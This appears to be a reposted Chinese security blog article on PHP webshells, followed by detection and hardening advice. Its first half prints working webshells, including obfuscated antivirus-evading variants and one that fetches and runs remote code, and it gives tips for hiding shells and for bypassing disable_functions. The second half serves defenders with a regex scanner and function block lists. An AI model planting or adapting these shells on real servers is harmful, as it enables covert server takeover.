基于PHP的应用面临着各种各样的攻击:

  • XSS:对PHP的Web应用而言,跨站脚本是一个易受攻击的点。攻击者可以利用它盗取用户信息。你可以配置Apache,或是写更安全的PHP代码(验证所有用户输入)来防范XSS攻击

  • SQL注入:这是PHP应用中,数据库层的易受攻击点。防范方式同上。常用的方法是,使用mysql_real_escape_string()对参数进行转义,而后进行SQL查询。

  • 文件上传:它可以让访问者在服务器上放置(即上传)文件。这会造成例如,删除服务器文件、数据库,获取用户信息等一系列问题。你可以使用PHP来禁止文件上传,或编写更安全的代码(如检验用户输入,只允许上传png、gif这些图片格式)

  • 包含本地与远程文件:攻击者可以使远程服务器打开文件,运行任何PHP代码,然后上传或删除文件,安装后门。可以通过取消远程文件执行的设置来防范

  • eval/assert:这个函数可以使一段字符串如同PHP代码一样执行。它通常被攻击者用于在服务器上隐藏代码和工具。通过配置PHP,取消eval等函数调用来实现

  • Sea-surt Attack(Cross-site request forgery,CSRF。跨站请求伪造):这种攻击会使终端用户在当前账号下执行非指定行为。这会危害终端用户的数据与操作安全。如果目标终端用户的账号用于管理员权限,整个Web应用都会收到威胁。

这里介绍上述加粗的几种攻击的方法

一、各种webshell

随着业务量的增大,越来越多的黑客来攻击扫描,网站安全性日益重要,一不留神就被黑客控制了服务器,最常见的方式就是通过POST请求来上传木马文件,从而达到可以执行任意命令,如果被控制就大事不妙了

所以还是要正视服务器的安全

最流行的一种后门叫做一句话木马,其形式如下所示:

1
2
3
4
5
6
7
8
<?php
if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST["cmd"]);
    system($cmd);
    echo "</pre>$cmd<pre>";
    die;
}
?>

这种容易被安全软件检测出来。为了增强隐蔽性,出现了各种一句话木马的变形,通过各种函数来伪装,这里不得不吐槽PHP弱类型对于安全来说是致命的

a、使用str_replace函数

1
2
3
4
<?php $a =str_replace(x,"","axsxxsxexrxxt");$a($_POST["code"]); ?>
 
//说明:请求参数  ?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="))
最终执行命令<?php assert(fputs(fopen('c.php',w),"<?php @eval($_POST[a]);?>"))?>

b、使用str_rot13函数

1
2
<?php ($code = $_POST['code']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($code)''add'); ?>
//说明:首先,将eval函数用str_rot13('riny')隐藏。然后,利用 e 修饰符,在preg_replace完成字符串替换后,使得引擎将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。

c、使用include函数

1
2
3
<?php $filename=$_GET['code'];include ($filename); ?>
 
//由于include方法可以直接编译任何格式的文件为php格式运行,因此可以上传一个txt格式的php文件,将真正的后门写在文本当中。

d、使用pack函数

1
2
3
4
<?php if(empty($_SESSION['api']))
    $_SESSION['api']=substr(file_get_contents(sprintf('%s?  %s',pack(“H*”,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
    @preg_replace(“~(.*)~ies”,gzuncompress($_SESSION['api']),null);
?>

e、使用session

1
2
3
4
<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

f、隐藏在html页面

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

g、使用assert函数

1
<?php assert($_POST[sb]);?>

或者

1
2
3
4
<?php
$item['wind'] = 'assert';
$array[] = $item;
$array[0]['wind']($_POST['iixosmse']);

h、使用copy函数复制文件

1
2
3
<?php
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);

二、代码混淆

1
2
3
4
5
6
7
8
9
<?php 
@$_++; // $_ = 1 
$__=("#"^"|"); // $__ = _ 
$__.=("."^"~"); // _P 
$__.=("/"^"`"); // _PO 
$__.=("|"^"/"); // _POS 
$__.=("{"^"/"); // _POST 
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); 
?>

或者

1
2
3
4
5
6
7
8
9
10
<?php 
    $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30="
    $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn"
    $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe"); 
    $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk"
    $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo"
    $smgv = $ftdf("f""""bfafsfef6f4_fdfefcodfe"); 
    $jgfi = $ftdf("l","","lclrlelaltel_functlilon"); 
    $rdwm = $jgfi('', $smgv($ftdf("gi""", $zrmt.$kthe.$wmmi.$penh))); $rdwm(); 
?>

可以使用weevely工具来生成,代码伪装避开各种主流的杀毒软件

PHP后门生成工具weevely

weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。

weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。

更常用的混淆视听的方法:(这种是服务器层面的混淆)

  • 修改文件时间

  • 改名融入上传后所在文件夹,让人无法直观看出文件异常

  • 文件大小的伪装处理(至少看起大小像个正常脚本)

  • 选好藏身路径并尽量少的访问

  • 畸形目录%20

三、如果绕过配置文件

一般的服务器管理员会把 system、exec等危险函数禁用的,那么如何绕过呢?

1、使用反射

相关内容可参考:http://cn2.php.net/manual/en/reflectionfunction.invokeargs.php

1
2
3
4
<?php
$func = new ReflectionFunction("system");
echo $func->invokeArgs(array("$_GET[c]"));
?>

2、使用callback

php提供的另外一种可间接调用函数的方法是callback. 这里使用了ob_start.具体说明可参考:http://www.php.net/manual/en/function.ob-start.php

1
2
3
4
5
6
<?php
$cb= 'system';
ob_start($cb);
echo $_GET[c];
ob_end_flush();
?>

php中支持callback的函数还有很多,比如 array_map,array_filter, array_reduce,usort(),uksort(),array_walk() 等

四、安全人员应该怎么做

1、如何查找

直观寻找方式也有很多

  • 通过文件名/修改时间/大小,文件备份比对发现异常(SVN/Git对比,查看文件是否被修改)

  • 通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php/(zhujiweishi )

  • 通过access.log访问日志分析

下面是360 zhujiweishi ,在linux服务器上非常简单好用

通过常见的关键词如(可以使用find 和 grep 等命令结合起来搜索代码中是否包含以下文件)

  • 系统命令执行: system, passthru, shell_exec, exec, popen, proc_open

  • 代码执行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

  • 文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

通过简单的python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/env python
# encoding: utf-8
  
import os,sys
import re
import hashlib
import time
  
rulelist = [
    '(\$_(GET|POST|REQUEST)\[.{0,15}\]\s{0,10}\(\s{0,10}\$_(GET|POST|REQUEST)\[.{0,15}\]\))',
    '((eval|assert)(\s|\n)*\((\s|\n)*\$_(POST|GET|REQUEST)\[.{0,15}\]\))',
    '(eval(\s|\n)*\(base64_decode(\s|\n)*\((.|\n){1,200})',
    '(function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|passthru)+[\'|\"]\s*\))',
    '((exec|shell\_exec|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\))',
    '(\$(\w+)\s*\(\s.chr\(\d+\)\))',
    '(\$(\w+)\s*\$\{(.*)\})',
    '(\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\))',
    '(\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\))',
    '(\$\_\=(.*)\$\_)',
    '(\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\))',
    '(new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\))',
    '(echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\))',
    '((fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\))',
    '(\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\))',
    '(\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\))',
    '((include|require|include\_once|require\_once)+\s*\(\s*[\'|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'|\"]\s*\))',
    '(eval\s*\(\s*\(\s*\$\$(\w+))',
    '((eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\))',
    '(preg\_replace\s*\((.*)\(base64\_decode\(\$)'
    ]
  
def scan(path):
    print('           可疑文件         ')
    print('*'*30)
    for root,dirs,files in os.walk(path):
        for filespath in files:
            if os.path.getsize(os.path.join(root,filespath))<1024000:
                file= open(os.path.join(root,filespath))
                filestr = file.read()
                file.close()
                for rule in rulelist:
                    result = re.compile(rule).findall(filestr)
                    if result:
                        print '文件:'+os.path.join(root,filespath )
                        print '恶意代码:'+str(result[0][0:200])
                        print ('最后修改时间:'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(os.path.getmtime(os.path.join(root,filespath)))))
                        print '\n\n'
                        break
def md5sum(md5_file):
    = hashlib.md5()
    fp = open(md5_file)
    m.update(fp.read())
    return m.hexdigest()
    fp.close()
  
if md5sum('/etc/issue'== '3e3c7c4194b12af573ab11c16990c477':
    if md5sum('/usr/sbin/sshd'== 'abf7a90c36705ef679298a44af80b10b':
        pass
    else:
        print('*'*40)
        print "\033[31m sshd被修改,疑似留有后门\033[m"
        print('*'*40)
        time.sleep(5)
if md5sum('/etc/issue'== '6c9222ee501323045d85545853ebea55':
    if md5sum('/usr/sbin/sshd'== '4bbf2b12d6b7f234fa01b23dc9822838':
        pass
    else:
        print('*'*40)
        print "\033[31m sshd被修改,疑似留有后门\033[m"
        print('*'*40)
        time.sleep(5)
if __name__=='__main__':
  
    if len(sys.argv)!=2:
        print '参数错误'
        print "\t按恶意代码查找:"+sys.argv[0]+'目录名'
    if os.path.lexists(sys.argv[1]) == False:
        print "目录不存在"
        exit()
    print ('\n\n开始查找:'+sys.argv[1])
    if len(sys.argv) ==2:
        scan(sys.argv[1])
    else:
        exit()

2、如何防范

php.ini 设置

  • disable_functions =phpinfo,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,get_current_user,leak,putenv,popen,opendir

  • 设置“safe_mode”为“on”

  • 禁止“open_basedir” 可以禁止指定目录之外的文件操作

  • expose_php设为off 这样php不会在http文件头中泄露信息

  • 设置“allow_url_fopen”为“off” 可禁止远程文件功能

  • log_errors”设为“on” 错误日志开启

php编码方面

  • 所有用户提交的信息  post get 或是其他形式提交的数据 都要单独写个过滤函数处理一遍,养成习惯(intval,strip_tags,mysql_real_escape_string)

  • 经常检查有没有一句话木马 eval($_POST[ 全站搜索php代码有没有这样的源代码

  • 文件要命名规范 至少让自己可以一目了然,哪些php文件名字有问题

  • 如用开源代码,有补丁出来的话,尽快打上补丁

  • 如果攻击者拿到了服务器的最高权限,有可能通过修改服务器的配置文件php.ini来达到他们隐藏后门的目的,前几年比较流行。原理如下:php.ini 里面的这两个配置项:auto_prepend_file ,auto_append_file 可以让php解析前,自己加点东西进去 Automatically add files before or after any PHP document,如果被配置了eval()函数的后门 那就很阴险了,php文件代码里面查不出,只会在php解析前包含eval()函数进来 并且因为是全局的 所以所有php页面都是后门!所以要先确认auto_prepend_file ,auto_append_file没被配置成其他东西,才进行第3点的源代码检查。

服务器配置

配置的时候尽量使用最小权限,不要写入或者执行的目录不能给相应的权限

nginx或者apache配置的时候,不能访问的目录一定要配置为deny

待续。。。

参考文章

https://github.com/chenpingzhao/php-webshells

http://blog.csdn.net/miltonzhong/article/details/9714367

http://blog.jobbole.com/53821/

PHP安全之webshell和后门检测(转)的更多相关文章

  1. PHP安全之webshell和后门检测

    基于PHP的应用面临着各种各样的攻击: XSS:对PHP的Web应用而言,跨站脚本是一个易受攻击的点.攻击者可以利用它盗取用户信息.你可以配置Apache,或是写更安全的PHP代码(验证所有用户输入) ...

  2. 阿里云提醒 网站被WebShell木马后门的处理过程

    昨晚凌晨收到新客户的安全求助,说是阿里云短信提示,网站有webshell木马文件被植入,我们SINE安全公司立即成立,安全应急响应小组,客户提供了阿里云的账号密码,随即登陆阿里云进去查看到详情,登陆云 ...

  3. rootkit后门检测工具

    1. 关于rootkit rootkit是Linux平台下最常见的一种木马后门工具,它主要通过替换系统文件来达到入侵和和隐蔽的目的,这种木马比普通木马后门更加危险和隐蔽,普通的检测工具和检查手段很难发 ...

  4. 一次对webshell的后门的查看

    本文作者i春秋作家——非主流 昨天晚上突发奇想的想去看看github上面tennc的webshell收集项目中的shell有没有漏洞,比如未授权啊啥的,结果找半天都没找到...但是机缘巧合下,居然给我 ...

  5. 百度官方wormHole后门检测记录(转)

    本次这个安卓后门真是哔了狗了,刚加入大安卓阵营就出了这个篓子,跟你root不root和什么安卓版本没有版毛钱关系,完全是百度SDK官方提供的后门,不是漏洞,人为的. 乌云地址:http://drops ...

  6. 百度官方wormHole后门检测记录

    乌云地址:http://drops.wooyun.org/papers/10061 后门端口:40310/6259 本次测试在Ubuntu下,具体adb调试工具参考 sink_cup的博客 http: ...

  7. windows应急响应入侵排查思路

    0x00 前言 ​ 当企业发生黑客入侵.系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解 ...

  8. Linux应急响应入侵排查思路

    0x00 前言 ​ 当企业发生黑客入侵.系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解 ...

  9. 6.【应急响应】Linux入侵排查思路

    0x01 入侵排查思路 一.账号安全 基本使用: 1.用户信息文件/etc/passwd root:x:0:0:root:/root:/bin/bash account:password:UID:GI ...

随机推荐

  1. Consider defining a bean of type 'org.springframework.data.redis.connection.RedisConnectionFactory' in your configuration

    Description: Parameter 0 of method redisTemplate in com.liaojie.cloud.auth.server.config.redis.Redis ...

  2. git commit -am "remark" 提交

    一.前言 假如你昨晚把本地文件a.html提交到远程库,今早发现还有补充的内容,于是添加了新的内容到a.html,并且还在本地还多添加了“几个文件”,那么怎么使用git来把这些文件一并提交到远程库呢? ...

  3. Git中的文件上传、修改、撤消修改和删除

     1.添加文件.提交文件 1.1在learngit目录下创建一个readme.txt文件,并且输入内容. 1.2添加文件到版本库learngit 1.2.1使用git add 文件告诉Git把文件添加 ...

  4. Winform下有关控件焦点问题

    工作中遇到这样一个需求,根据控件焦点弹出对应的代码帮助窗体.比如界面上,有两个TextBox需要进行代码帮助功能的实现. 首先是绑定主窗体的代码帮助事件. 首先要给代码帮助这个按钮绑定事件: priv ...

  5. Hexo+Github 搭建属于自己的博客(Mac下安装 其他操作系统大同小异)

    安装前提 参考博客:http://blog.csdn.net/gdutxiaoxu/article/details/53576018#t5(写的很好,不用看我的了.....) 这篇:http://ww ...

  6. oracle中如何创建表的自增ID(通过序列)

    1.什么是序列呢? 序列是一数据库对象,利用它可生成唯一的整数.一般使用序列自动地生成主码值.一个序列的值是由特别的Oracle程序自动生成,因而序列避免了在运用层实现序列而引起的性能瓶颈. Orac ...

  7. @Configuration的使用 和作用

    1从spring4.0以后,@Spring boot Application就包含了@ComponentScan,@ComponentScan就不用写了 2@MapperScan(basePackag ...

  8. day06_python_1124

    01 昨日内容回顾 字典: 增: setdefault() 有责不变,无责添加 dic['key'] = vaulue 删: pop 按照key pop('key') pop('key',None) ...

  9. 【阅读笔记】《C程序员 从校园到职场》第五章 内存操作

    参考:   让你提前认识软件开发(8):memset()与memcpy()函数  https://blog.csdn.net/zhouzxi/article/details/22478081 让你提前 ...

  10. 浅谈caffe中train_val.prototxt和deploy.prototxt文件的区别

    本文以CaffeNet为例: 1. train_val.prototxt  首先,train_val.prototxt文件是网络配置文件.该文件是在训练的时候用的. 2.deploy.prototxt ...